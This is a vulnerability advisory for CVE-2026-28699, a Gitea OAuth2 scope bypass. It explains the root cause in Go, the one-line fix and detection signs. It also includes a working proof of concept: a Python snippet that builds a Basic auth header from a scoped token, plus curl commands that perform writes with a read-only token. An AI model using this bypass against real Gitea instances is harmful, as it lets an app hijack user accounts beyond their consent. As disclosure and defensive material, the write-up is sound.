# CVE-2026-28699: Gitea OAuth2 Scope Enforcement Bypass via HTTP Basic Auth A Gitea OAuth2 access token granted only `read:user` can perform full write actions (editing profiles, adding emails, creating and deleting repos) when it is sent as `Authorization: Basic base64(:x-oauth-basic)` instead of as a Bearer token. The OAuth2 scope check is skipped for any token submitted over Basic auth. | | | |---|---| | **CVE** | CVE-2026-28699 | | **Product** | [Gitea](https://github.com/go-gitea/gitea) (`code.gitea.io/gitea`, Go) | | **Class** | CWE-863 Incorrect Authorization (OAuth2 scope bypass) | | **Severity** | High | | **Affected** | `<= 1.26.1` | | **Fixed** | `1.26.2` | | **Advisory** | [GHSA-9r5x-wg6m-x2rc](https://github.com/go-gitea/gitea/security/advisories/GHSA-9r5x-wg6m-x2rc) | ## 1. Summary Gitea attaches an OAuth2 token's scope to the request context so the API middleware can enforce it. The Bearer code path does this. The HTTP Basic auth code path, which also accepts OAuth2 access tokens, sets the "this is an API token" flag but does not attach the scope. The scope-enforcement middleware returns early when the scope is absent, so every scoped restriction is dropped for a token presented over Basic auth. Take a token an OAuth2 app was granted with `read:user` only, send it as Basic instead of Bearer, and you can perform write operations the scope was never meant to allow. ## 2. Background Gitea lets an OAuth2 application obtain an access token scoped to a subset of the user's permissions (`read:user`, `write:repository`, `read:issue`, and so on). The REST API enforces those scopes per route through the `tokenRequiresScopes(...)` middleware. An access token can be presented two ways: - Bearer: `Authorization: Bearer `, handled by the `OAuth2` auth method. - Basic: `Authorization: Basic base64(:x-oauth-basic)`, handled by the `Basic` auth method. This form exists for Git over HTTP and tooling that only speaks Basic auth, and Gitea accepts an OAuth2 access token in the username position here. Both paths resolve to the same user and the same token, so both should enforce the same scope. They don't. ## 3. Root cause ### 3.1 The Basic path drops the scope `services/auth/basic.go`, `VerifyAuthToken()` at v1.26.1. Compare the OAuth2 branch against the Personal Access Token branch a few lines below it: ```go // --- OAuth2 access token branch --- _, uid := GetOAuthAccessTokenScopeAndUserID(req.Context(), authToken) // scope discarded with "_" if uid != 0 { u, _ := user_model.GetUserByID(req.Context(), uid) store.GetData()["LoginMethod"] = OAuth2TokenMethodName store.GetData()["IsApiToken"] = true // *** ApiTokenScope is NEVER set here *** return u, nil } // --- Personal Access Token branch (for contrast) --- token, err := auth_model.GetAccessTokenBySHA(req.Context(), authToken) if err == nil { ... store.GetData()["LoginMethod"] = AccessTokenMethodName store.GetData()["IsApiToken"] = true store.GetData()["ApiTokenScope"] = token.Scope // <-- PATs DO record scope return u, nil } ``` The OAuth2 helper returns the scope as its first value, and it is thrown away into `_`. ### 3.2 The Bearer path records the scope `services/auth/oauth2.go`, `userFromToken()` at v1.26.1: ```go accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA) if uid != 0 { store.GetData()["IsApiToken"] = true store.GetData()["ApiTokenScope"] = accessTokenScope // <-- Bearer records scope } ``` So the same OAuth2 token carries its scope into context over Bearer, but not over Basic. ### 3.3 The middleware fails open `routers/api/v1/api.go`, `tokenRequiresScopes()` at v1.26.1: ```go scope, scopeExists := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope) if ctx.Data["IsApiToken"] != true || !scopeExists { return // <-- early return: NO scope check performed } // ... only reached when a scope is present: compares required vs granted, may 403 ... ``` That guard is meant to skip scope checks for non-token auth (session cookies, Basic password login, and the like). But for an OAuth2 token over Basic the state is `IsApiToken == true` and `scopeExists == false`, so `!scopeExists` is true and the function returns immediately. Every scope requirement is skipped and the action is permitted. | Auth presentation | `IsApiToken` | `ApiTokenScope` | `tokenRequiresScopes` outcome | |---|---|---|---| | OAuth2 token via Bearer | `true` | set | scope compared, blocks if insufficient | | OAuth2 token via Basic | `true` | missing | early return, no enforcement | | Personal access token | `true` | set | scope compared | ## 4. Impact Any OAuth2 application holding a token with any restricted scope can operate beyond its grant by switching from Bearer to Basic. With a `read:user`-only token an attacker (for example a malicious or over-permissioned OAuth2 app a user authorized) can act as that user to: - modify the victim's profile and settings, - add attacker-controlled email addresses to the victim's account, which is a foothold for password reset and identity abuse, - create repositories, - modify or delete the victim's repositories. The bypass still respects the user's own permissions. It does not reach repos the user cannot reach and does not escalate to admin. But it nullifies the OAuth2 consent boundary. A user who authorized an app for "read my profile" has effectively given it write access to their account. ### Verified bypass endpoints (`read:user`-only token) | Endpoint | Bearer | Basic | |---|---|---| | `PATCH /api/v1/user/settings` | 403 | **200** | | `POST /api/v1/user/emails` | 403 | **200** | | `POST /api/v1/user/repos` | 403 | **200** | | `PATCH /api/v1/repos/{owner}/{repo}` | 403 | **200** | | `DELETE /api/v1/repos/{owner}/{repo}` | 403 | **200** | ## 5. Live reproduction The PoC provisions a throwaway Gitea instance on SQLite, runs the OAuth2 authorization-code flow to mint a `read:user`-only token, then calls a write endpoint over both Bearer and Basic and prints the verdict. ### 5.1 Setup ```bash pip install -r requirements.txt # requests python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS ``` ### 5.2 Run ```bash python poc.py 1.26.1 # vulnerable python poc.py 1.26.2 # patched ``` Vulnerable `1.26.1`: ``` === CVE-2026-28699 PoC against Gitea 1.26.1 === [*] Minted OAuth2 token with scope = read:user only [Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked) [Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED) >>> VULNERABLE: read:user token performed a write via Basic auth. ``` Patched `1.26.2`: ``` === CVE-2026-28699 PoC against Gitea 1.26.2 === [*] Minted OAuth2 token with scope = read:user only [Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked) [Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked) >>> PATCHED: scope enforced on both Bearer and Basic. ``` ### 5.3 The core of the exploit Once you hold a scoped token, the whole attack is the choice of header. From the PoC: ```python # scope-enforced (correct): hdr = {"Authorization": f"Bearer {token}"} # -> 403 # scope-bypassed (the bug): b = base64.b64encode(f"{token}:x-oauth-basic".encode()).decode() hdr = {"Authorization": f"Basic {b}"} # -> 200 ``` `x-oauth-basic` is the conventional password placeholder. The token goes in the username position. Any non-empty password works, since Gitea only reads the username field as the token. ## 6. Manual reproduction (no scripts) 1. In Gitea, create an OAuth2 application (Settings > Applications). 2. Authorize it as a normal user with scope `read:user` only and capture the access token. 3. Pick a write endpoint and send it both ways: ```bash TOKEN=gta_... # the read:user token # Bearer, correctly blocked curl -s -o /dev/null -w "%{http_code}\n" \ -X PATCH https://gitea.example/api/v1/user/settings \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" -d '{"full_name":"x"}' # -> 403 # Basic, bypass curl -s -o /dev/null -w "%{http_code}\n" \ -X PATCH https://gitea.example/api/v1/user/settings \ -u "$TOKEN:x-oauth-basic" \ -H "Content-Type: application/json" -d '{"full_name":"x"}' # -> 200 ``` ## 7. The fix Upgrade to Gitea 1.26.2. The patch (`v1.26.1` to `v1.26.2`) adds a single line to `services/auth/basic.go` so the OAuth2 Basic path records scope the same way the Bearer path does: ```diff - // get oauth2 token's user's ID - _, uid := GetOAuthAccessTokenScopeAndUserID(req.Context(), authToken) + // get oauth2 token's user's ID and access scope + accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(req.Context(), authToken) if uid != 0 { ... store.GetData()["LoginMethod"] = OAuth2TokenMethodName store.GetData()["IsApiToken"] = true + store.GetData()["ApiTokenScope"] = accessTokenScope return u, nil } ``` With the scope present in context, `tokenRequiresScopes` no longer hits its early return for Basic-auth OAuth2 tokens and enforces the grant the same way across both presentations. Confirmed: Basic returns 403 on 1.26.2. ### Design note The underlying issue is the fail-open guard `if ... || !scopeExists { return }`. A missing scope on something already known to be an API token is a state that should deny, not allow. The shipped fix removes the trigger by always populating the scope. A defense-in-depth follow-up would be to make the middleware fail closed when `IsApiToken == true` but no scope is attached. ## 8. Detection - Logs: Gitea access logs do not record token scope, so the bypass is not obvious from a single line. Look for write requests authenticated via Basic auth whose token is an OAuth2 access token (token prefix `gta_`), especially on `/api/v1/user/*` and repo mutation routes. - Behavioral: an OAuth2 app that was only ever granted read scopes generating writes (profile, email, or repo changes) is a strong signal. - Account hygiene: unexpected email addresses added to accounts, or new repos created by apps that should not have write access, are downstream indicators. ## 9. Timeline and credits - Reported privately with a PoC and a one-line suggested fix (populate `ApiTokenScope` on the OAuth2 Basic path). - Fixed in 1.26.2. Advisory [GHSA-9r5x-wg6m-x2rc](https://github.com/go-gitea/gitea/security/advisories/GHSA-9r5x-wg6m-x2rc), assigned CVE-2026-28699. - The shipped fix matches the suggested fix. This document and the accompanying lab are for authorised security testing and education only.